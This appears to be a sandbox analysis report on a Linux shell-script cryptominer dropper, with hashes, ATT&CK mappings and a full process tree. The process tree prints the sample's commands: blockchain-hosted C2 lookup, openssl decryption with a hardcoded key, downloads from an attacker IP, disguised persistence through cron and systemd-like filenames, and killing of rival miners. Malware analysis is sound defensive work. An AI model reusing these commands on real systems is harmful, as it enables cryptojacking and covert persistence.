3cf4a9e9af1a3733562dcdd74160fe1001c124878370c7bee555517f38720a6e

Analysis

max time kernel
13s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/08/2026, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ca06059d5d3d81d2.sh
Size 70KB
Sample260808-pmjf2sde48
SHA256 3cf4a9e9af1a3733562dcdd74160fe1001c124878370c7bee555517f38720a6e
MD5 9c251e7f1dae4d3e2ed07540a1390624
SHA1 aae82d75ffee3cc6c84a592f17ffc0ca31b93533
SHA512 c4722d1f87596af19c9fd48ee0d692bd8a9dcec81a942427d97a54bf400f6234c9ed196fcfd7627dd9800526b4c4a4e1f550e7f83a7b8a9bb0188db23764161e
SSDEEP 1536:ot74vUzPNZiFrbnnSBkVgWtTESqzlLHIFZS95KDXeW5L:Q74v8PNM3nSSvtTESjFZSvKDXeUL
TLSH
T1BD6309D1BC25D831378A087CB9DAA6507A93193F095D3C08F04FA96C6F6C19CB17A77A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
963	chmod
974	chmod

Obfuscated Files or Information 1 TTPs 1 IoCs

Files were encrypted using OpenSSL. Adversaries may obfuscate files or information to evade detection.

defense_evasion

Encrypted/Encoded File

T1027.013

pid	Process
832	openssl

Executes dropped EXE 1 IoCs

ioc	pid	Process
/usr/lib/systemd/systemd-journal-cache	965	ionice

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Ej95vS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Y8Jl9S	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Removes the immutable protection flag from a file 1 TTPs 2 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
957	chattr
973	sed

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-8.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 3 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
988	base64
824	base64
840	base64

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 19 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/138/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/43/cmdline	pgrep
File opened for reading	/proc/277/cmdline	pkill
File opened for reading	/proc/578/cmdline	pkill
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/583/status	pgrep
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/104/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/277/status	pkill
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/300/status	pkill
File opened for reading	/proc/564/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/290/status	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/29/cmdline	pgrep
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/168/cmdline	pkill
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/107/cmdline	pkill
File opened for reading	/proc/319/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/640/status	pkill
File opened for reading	/proc/224/status	pgrep
File opened for reading	/proc/583/status	pgrep
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/584/cmdline	pgrep
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/583/cmdline	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/133/status	pkill
File opened for reading	/proc/96/status	pkill
File opened for reading	/proc/104/status	pkill
File opened for reading	/proc/632/status	pkill
File opened for reading	/proc/928/cmdline	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/952/cmdline	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/632/cmdline	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/632/status	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/133/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/642/status	pgrep

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.systemd-journal-cache	cp

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.cfg.enc	curl
File opened for modification	/tmp/.cfg.txt	curl

/tmp/ca06059d5d3d81d2.sh
/tmp/ca06059d5d3d81d2.sh
1⤵
PID:642
- /usr/bin/tr
  tr 0123456789abcdef fedcba9876543210
  2⤵
  PID:646
- /bin/hostname
  hostname
  2⤵
  PID:650
- /usr/bin/cut
  cut -c1-8
  2⤵
  PID:651
- /bin/cat
  cat /etc/machine-id
  2⤵
  PID:654
- /usr/bin/cut
  cut -c1-8
  2⤵
  PID:660
- /usr/bin/md5sum
  md5sum
  2⤵
  PID:659
- /usr/bin/id
  id -u
  2⤵
  PID:663
- /bin/mkdir
  mkdir -p /var/tmp/.cache
  2⤵
  PID:666
- /usr/bin/cut
  cut -c1-2
  2⤵
  PID:674
- /bin/sed
  sed "s/^/0x/"
  2⤵
  PID:676
- /bin/mkdir
  mkdir -p /var/tmp/.cache
  2⤵
  PID:680
- /usr/bin/curl
  curl -s --connect-timeout 5 --max-time 10 -X POST https://mainnet.base.org -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
  2⤵
  - Checks CPU configuration
  PID:684
- /bin/grep
  grep -o "\"result\":\"[^\"]*\""
  2⤵
  PID:694
- /bin/sed
  sed "s/^0x//"
  2⤵
  PID:696
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:695
- /usr/bin/cut
  cut -c129-
  2⤵
  PID:699
- /bin/sed
  sed "s/0*\$//"
  2⤵
  PID:700
- /usr/bin/xxd
  xxd -r -p
  2⤵
  PID:702
- /usr/bin/openssl
  openssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
  2⤵
  PID:705
- /bin/grep
  grep -q "\"c2\""
  2⤵
  PID:707
- /usr/bin/curl
  curl -s --connect-timeout 5 --max-time 10 -X POST https://base-rpc.publicnode.com -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
  2⤵
  - Checks CPU configuration
  PID:709
- /bin/grep
  grep -o "\"result\":\"[^\"]*\""
  2⤵
  PID:713
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:714
- /bin/sed
  sed "s/^0x//"
  2⤵
  PID:715
- /usr/bin/cut
  cut -c129-
  2⤵
  PID:720
- /bin/sed
  sed "s/0*\$//"
  2⤵
  PID:721
- /usr/bin/xxd
  xxd -r -p
  2⤵
  PID:723
- /usr/bin/openssl
  openssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
  2⤵
  PID:727
- /bin/grep
  grep -q "\"c2\""
  2⤵
  PID:730
- /usr/bin/curl
  curl -s --connect-timeout 5 --max-time 10 -X POST https://base.meowrpc.com -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
  2⤵
  - Checks CPU configuration
  PID:733
- /bin/grep
  grep -o "\"result\":\"[^\"]*\""
  2⤵
  PID:753
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:754
- /bin/sed
  sed "s/^0x//"
  2⤵
  PID:755
- /usr/bin/curl
  curl -s --connect-timeout 5 --max-time 10 -X POST https://1rpc.io/base -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
  2⤵
  - Checks CPU configuration
  PID:758
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:786
- /bin/sed
  sed "s/^0x//"
  2⤵
  PID:787
- /bin/grep
  grep -o "\"result\":\"[^\"]*\""
  2⤵
  PID:785
- /bin/sed
  sed "s/0*\$//"
  2⤵
  PID:791
- /usr/bin/cut
  cut -c129-
  2⤵
  PID:790
- /usr/bin/xxd
  xxd -r -p
  2⤵
  PID:793
- /usr/bin/openssl
  openssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
  2⤵
  PID:796
- /bin/grep
  grep -q "\"c2\""
  2⤵
  PID:798
- /usr/bin/curl
  curl -s --connect-timeout 5 --max-time 10 -X POST https://base.drpc.org -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"
  2⤵
  - Checks CPU configuration
  PID:800
- /bin/grep
  grep -o "\"result\":\"[^\"]*\""
  2⤵
  PID:804
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:805
- /bin/sed
  sed "s/^0x//"
  2⤵
  PID:806
- /usr/bin/cut
  cut -c129-
  2⤵
  PID:809
- /usr/bin/xxd
  xxd -r -p
  2⤵
  PID:812
- /bin/sed
  sed "s/0*\$//"
  2⤵
  PID:810
- /usr/bin/openssl
  openssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
  2⤵
  PID:817
- /bin/grep
  grep -q "\"c2\""
  2⤵
  PID:820
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:824
- /usr/bin/curl
  curl -so /tmp/.cfg.enc -fSL --connect-timeout 8 --max-time 60 http://104.194.140.150:8080/54ac4810b1d01207/cfg.enc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:825
- /usr/bin/openssl
  openssl enc -aes-256-cbc -d -in /tmp/.cfg.enc -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e7259
  2⤵
  - Obfuscated Files or Information
  PID:832
- /bin/rm
  rm -f /tmp/.cfg.enc
  2⤵
  PID:834
- /bin/grep
  grep -q "\"c2\""
  2⤵
  PID:837
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:840
- /usr/bin/curl
  curl -so /tmp/.cfg.txt -fSL --connect-timeout 8 --max-time 60 http://104.194.140.150:8080/54ac4810b1d01207/config.txt
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:841
- /bin/grep
  grep -q "\"c2\"" /tmp/.cfg.txt
  2⤵
  PID:848
- /bin/cat
  cat /tmp/.cfg.txt
  2⤵
  PID:849
- /bin/rm
  rm -f /tmp/.cfg.txt
  2⤵
  PID:851
- /usr/bin/tr
  tr -d " \\t\\r\\n"
  2⤵
  PID:855
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:859
- /bin/grep
  grep -o "\"c2\":\"[^\"]*\""
  2⤵
  PID:858
- /bin/grep
  grep -o "\"wallet\":\"[^\"]*\""
  2⤵
  PID:863
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:864
- /bin/grep
  grep -o "\"pool\":\"[^\"]*\""
  2⤵
  PID:868
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:869
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:873
- /bin/grep
  grep -o "\"bin\":\"[^\"]*\""
  2⤵
  PID:872
- /usr/bin/cut
  cut "-d\"" -f4
  2⤵
  PID:879
- /bin/grep
  grep -o "\"bin_arm\":\"[^\"]*\""
  2⤵
  PID:878
- /bin/grep
  grep -o "\"kill\":[a-z]*"
  2⤵
  PID:882
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:883
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:888
- /bin/grep
  grep -o "\"tls\":[a-z]*"
  2⤵
  PID:887
- /bin/grep
  grep -o "\"threads\":[0-9]*"
  2⤵
  PID:892
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:893
- /bin/grep
  grep -q "\"debug\":true"
  2⤵
  PID:895
- /bin/grep
  grep -o "\"c2s\":\\[[^]]*\\]"
  2⤵
  PID:899
- /usr/bin/cut
  cut "-d[" -f2
  2⤵
  PID:900
- /usr/bin/tr
  tr -d "]\""
  2⤵
  PID:902
- /usr/bin/tr
  tr "," " "
  2⤵
  PID:903
- /bin/grep
  grep -o "\"pools\":\\[[^]]*\\]"
  2⤵
  PID:906
- /usr/bin/cut
  cut "-d[" -f2
  2⤵
  PID:907
- /usr/bin/tr
  tr "," " "
  2⤵
  PID:909
- /usr/bin/tr
  tr -d "]\""
  2⤵
  PID:908
- /bin/grep
  grep -o "\"worm\":\\[[^]]*\\]"
  2⤵
  PID:913
- /usr/bin/tr
  tr -d "]\""
  2⤵
  PID:915
- /usr/bin/tr
  tr "," " "
  2⤵
  PID:916
- /usr/bin/cut
  cut "-d[" -f2
  2⤵
  PID:914
- /bin/grep
  grep -o "\"wormver\":[0-9]*"
  2⤵
  PID:920
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:921
- /bin/grep
  grep -q "\"clean\":true"
  2⤵
  PID:924
- /usr/bin/pkill
  pkill -9 -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:925
- /usr/bin/pkill
  pkill -9 -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:926
- /usr/bin/pkill
  pkill -9 -f kinsing
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:927
- /usr/bin/pkill
  pkill -9 -f kdevtmpfsi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:929
- /usr/bin/pkill
  pkill -9 -f solrd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:930
- /usr/bin/pkill
  pkill -9 -f ld-musl
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:931
- /usr/bin/pkill
  pkill -9 -f networkmanager-daemon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:932
- /usr/bin/pkill
  pkill -9 -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:933
- /usr/bin/pkill
  pkill -9 -f dbus-daemon-x
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:934
- /usr/bin/pkill
  pkill -9 -f watchdog-service
  2⤵
  - Reads CPU attributes
  PID:935
- /usr/bin/pkill
  pkill -9 -f .sshd2
  2⤵
  - Reads CPU attributes
  PID:936
- /usr/bin/pkill
  pkill -9 -f .X11-unix
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:937
- /usr/bin/pkill
  pkill -9 -f kernd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:938
- /bin/grep
  grep -vE "kinsing|kdevtmpfsi|solrd|\\.X11-unix|minerd|xmrig|crypto"
  2⤵
  PID:940
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:941
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:939
- /bin/uname
  uname -m
  2⤵
  PID:943
- /bin/uname
  uname -m
  2⤵
  PID:944
- /usr/bin/cut
  cut "-d " -f1
  2⤵
  PID:949
- /usr/bin/md5sum
  md5sum
  2⤵
  PID:948
- /bin/cat
  cat /usr/lib/systemd/.systemd-journal-cache.md5
  2⤵
  PID:950
- /usr/bin/pgrep
  pgrep -f "/var/tmp/.*_rt"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:951
- /usr/bin/pgrep
  pgrep -f "/dev/shm/.*_rt"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:952
- /usr/bin/pgrep
  pgrep -f sys_defend
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:953
- /usr/bin/pgrep
  pgrep -f "^/usr/lib/systemd/systemd-journal-cache"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:954
- /usr/bin/pkill
  pkill -f "^/usr/lib/systemd/systemd-journal-cache"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:955
- /bin/sleep
  sleep 1
  2⤵
  PID:956
- /usr/bin/chattr
  chattr -i /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache /usr/lib/systemd/.systemd-journal-cache.conf /usr/lib/systemd/.systemd-journal-cache.md5
  2⤵
  - Removes the immutable protection flag from a file
  PID:957
- /usr/bin/curl
  curl -sk --connect-timeout 5 https://104.194.140.150:443
  2⤵
  - Checks CPU configuration
  PID:959
- /usr/bin/python3
  python3 -c "import os;os.memfd_create(\"x\")"
  2⤵
  PID:960
- /bin/rm
  rm -f /var/tmp/.cache/.memfd
  2⤵
  PID:961
- /usr/bin/curl
  curl -so /usr/lib/systemd/systemd-journal-cache -fSL --connect-timeout 8 --max-time 60 http://104.194.140.150:8080/54ac4810b1d01207/libprocmon.so
  2⤵
  - Checks CPU configuration
  PID:962
- /bin/chmod
  chmod +x /usr/lib/systemd/systemd-journal-cache
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /bin/cp
  cp /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache
  2⤵
  - Writes file to shm directory
  PID:964
- /usr/bin/nice
  nice -n 19 ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /usr/local/sbin/ionice
  ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /usr/local/bin/ionice
  ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /usr/sbin/ionice
  ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /usr/bin/ionice
  ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  - Executes dropped EXE
  PID:965
- /usr/lib/systemd/systemd-journal-cache
  /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /bin/sh
  /bin/sh /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B
  2⤵
  PID:965
- /usr/bin/pgrep
  pgrep -f "^/usr/lib/systemd/systemd-journal-cache"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:968
- /usr/bin/head
  head -1
  2⤵
  PID:969
- /bin/cat
  cat
  2⤵
  PID:971
- /bin/sed
  sed -i "s|__DR__|/var/tmp/.cache|g;s|__BN__|systemd-journal-cache|g;s|__BCT__|0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0|g;s|__AK__|a0260c844ddc3e99dcf48c35b33ab89b24fc80565d01747d551cb34276718da6|g;s|__RS__|https://mainnet.base.org https://base-rpc.publicnode.com https://base.meowrpc.com https://1rpc.io/base https://base.drpc.org|g;s|__MK__|kv54913fb81|g;s|__T__|/usr/lib/systemd/systemd-journal-cache|g;s|__T2__|/dev/shm/.systemd-journal-cache|g;s|__CFG__|/usr/lib/systemd/.systemd-journal-cache.conf|g;s|__CFGMD5__|/usr/lib/systemd/.systemd-journal-cache.md5|g;s|__VF__|/var/tmp/.cache/.4913fb81.cv|g;s|__WORMVER__|9|g;s|__WU__|http://104.194.140.150:8080/54ac4810b1d01207/ca06059d5d3d81d2.sh|g" /usr/lib/systemd/.systemd-journal-cache.sh
  2⤵
  - Removes the immutable protection flag from a file
  PID:973
- /bin/chmod
  chmod +x /usr/lib/systemd/.systemd-journal-cache.sh
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /usr/bin/id
  id -u
  2⤵
  PID:975
- /bin/grep
  grep -qaE "docker|kubepods|containerd|lxc|podman" /proc/1/cgroup
  2⤵
  PID:976
- /bin/cat
  cat /proc/1/comm
  2⤵
  PID:977
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:978
- /bin/grep
  grep -qF "13-59/3 * * * * /usr/lib/systemd/.systemd-journal-cache.sh >/dev/null 2>&1"
  2⤵
  PID:980
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:982
- /bin/sed
  sed "s|\$|ca06059d5d3d81d2.sh|"
  2⤵
  PID:986
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:988
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:989
- /bin/rm
  rm -f /var/tmp/.cache/.4913fb81.pid
  2⤵
  PID:990

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Obfuscated Files or Information

T1027

Encrypted/Encoded File

T1027.013

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cfg.enc

Path /tmp/.cfg.enc
Size 496B
SHA256 3a3661296a45b782da018433cab2902a7ea68dd8f6e2988e31d2af64e219e9d2
MD5 b5e2ba267fe20138eded21bc4abaa3f7
SHA1 d64fe69b25abdaa0ef5d6a158fdbcc5594a2962e
SHA512 f85a4f56dcf4fe9b814d0e7637ee8e2250da6ac467e17e1f4227908fc9c4fe95887d0e383553632868af1706040bc1e0d881e72fad5c0a2527c2f80c7483e89f
TLSH
T144F00E02A456E2D6941447C5D80BE32FAA06421E74A2675C42E22EB7D9918EA4AC4BC2
MD5 SHA1 SHA512 TLSH

Submit Download

sedvqkH5K

Path /usr/lib/systemd/sedvqkH5K
Size 8KB
SHA256 36becc82acc6106828cab5495335508875dbafdaa40e99a295b75dc5070e41ef
MD5 73bf6012427c9639378c0c8c8e30de87
SHA1 4762a19c242bc7738be505c1ef11204ccade3db6
SHA512 90449380105273050c56a0695625d9045dbdfdd1720801b694be6e64eaf69371a43b2f669bfda9b2ad973b17d604e00fe47adcbcd04a62c6a2236fb6fcd10416
SSDEEP 192:bHBzC7pjvuhzannSjH8YnWaumPus1GWi+L1VJe2LyqkbpfuJZUmavmws:jB27A1Ccb3X1V78Rg
TLSH
T1620230F6BC24CC313A8A087CB5D9B6905983157F0563BA15704FA42D2FBC1A9B16CB3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

systemd-journal-cache

Path /usr/lib/systemd/systemd-journal-cache
Size 2.4MB
SHA256 27dc3ff88f2b012dea3fd86f82fbed99d3a7961c49873a7c87d61df6d7c7bab5
MD5 9c42fe89834982825f6375df35fda98b
SHA1 1d0096ecd1946d5d145587f9cc692c50e0fd530a
SHA512 82061deb024a957dfe2d7c7a08782abcbe8dc50636779744b7f8d4624be4665d207eb143246d25b0931f3fb6e29ded2ffd8ed38a2cdffcb802f8aa4d5b673f00
SSDEEP 49152:RpWXqDrXZOcR9BK4ELk2iwjzy/C5mzCnOz8j+zJE/5ObkmPy/Baxnbd:7DbZOcRCxYwjzyvCI8j+zje5Gbd
TLSH
T18DB533279ADC5C52CB1D68CD8E1EA54F5EE2FCE6348A132FE2D5E54489260828FF1C5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.Ej95vS

Path /var/spool/cron/crontabs/tmp.Ej95vS
Size 175B
SHA256 691e6dc56e84e1189bfb089e35bf0f79807b4c30f6a50d803d64c6712cbf2a99
MD5 af454ba3060a5f52beb847dacd5f7abb
SHA1 f36d0ad9c8ab59234d276256375bd987c9eac54c
SHA512 8734f5dccf4d216ef7571c2caeac35e368a1600cb7ad74b6f1d3b712f657a27cedd5cdd219530a54098df978fcc589026b03daf231e9e283549e7461feeffad2
TLSH
T1E6C08C1E3F2069306A455B49626B1A2DFDC2E07DC00EBE91E2DE10180316BDE6B959B2
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.Y8Jl9S

Path /var/spool/cron/crontabs/tmp.Y8Jl9S
Size 264B
SHA256 b9fac988b456a753a2f3bd96a1ea2ce7c15a8cd05657070f29a7870c45d36281
MD5 b68cfb2f834b2de3ab9c62237387f06d
SHA1 2d08ad1e72b1e30944ac6d88ad93369650fdd5f0
SHA512 8e5aea05df95cc332d4f892b191d3933e3c7e8336d44767fdd5e0d7728f291d18199981f9455bd91a1dacde4b030403ddc38835cf6804b95fd74485a2a620072
TLSH
T1DBD02E3A6B20283039262B44660B141CE8D2B03D882EFE40E2CD5428838B7AA0B10C72
MD5 SHA1 SHA512 TLSH

Submit Download

.4913fb81.pid

Path /var/tmp/.cache/.4913fb81.pid
Size 4B
SHA256 05b128a84c8a17bb72b511889d7a67c13735a146621484f819e0b9607f0337bf
MD5 110f01c7586d4235e1db6db70f4f23ca
SHA1 de011faad8bf6320f80255d323ba1ae5a367be91
SHA512 8904209e0970392cfc3f5ed9fb4b986ee21c369f63d9864f2db41b43c5fb86f89eb5c04a7e8e5c349881883081639e706bc216a2148e163cde2f8044b37a0bf2
MD5 SHA1 SHA512

Submit Download

.cloak

Path /var/tmp/.cache/.cloak
Size 39B
SHA256 2d687035804bd446399d950bf77dea5258815cf481f31b34c8f96ad6913ff8c8
MD5 61bed6fc00f621ccc364a638e1e7589c
SHA1 a55a661264b4e2bea9e02d92f037b28a8538c9b4
SHA512 dfdb3a6f48c2b7c53918d4166de36dc0378047b651610c6a5da67dc1644e840d04254ea2e38089e71d4a4be5368354213ecd23ce64f8abfc456f049f58a8e7d2
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads